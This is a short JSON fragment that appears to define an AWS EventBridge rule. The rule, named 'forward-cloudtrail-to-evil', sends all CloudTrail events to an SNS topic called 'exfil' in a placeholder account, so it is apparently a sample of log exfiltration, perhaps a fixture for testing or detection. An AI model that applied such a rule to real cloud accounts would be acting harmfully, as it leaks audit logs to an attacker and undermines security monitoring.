{"Rules":[{"Name":"forward-cloudtrail-to-evil","Targets":[{"Id":"1","Arn":"arn:aws:sns:eu-west-1:999999999999:exfil"}],"EventPattern":"{\"source\":[\"aws.cloudtrail\"]}","State":"ENABLED"}]}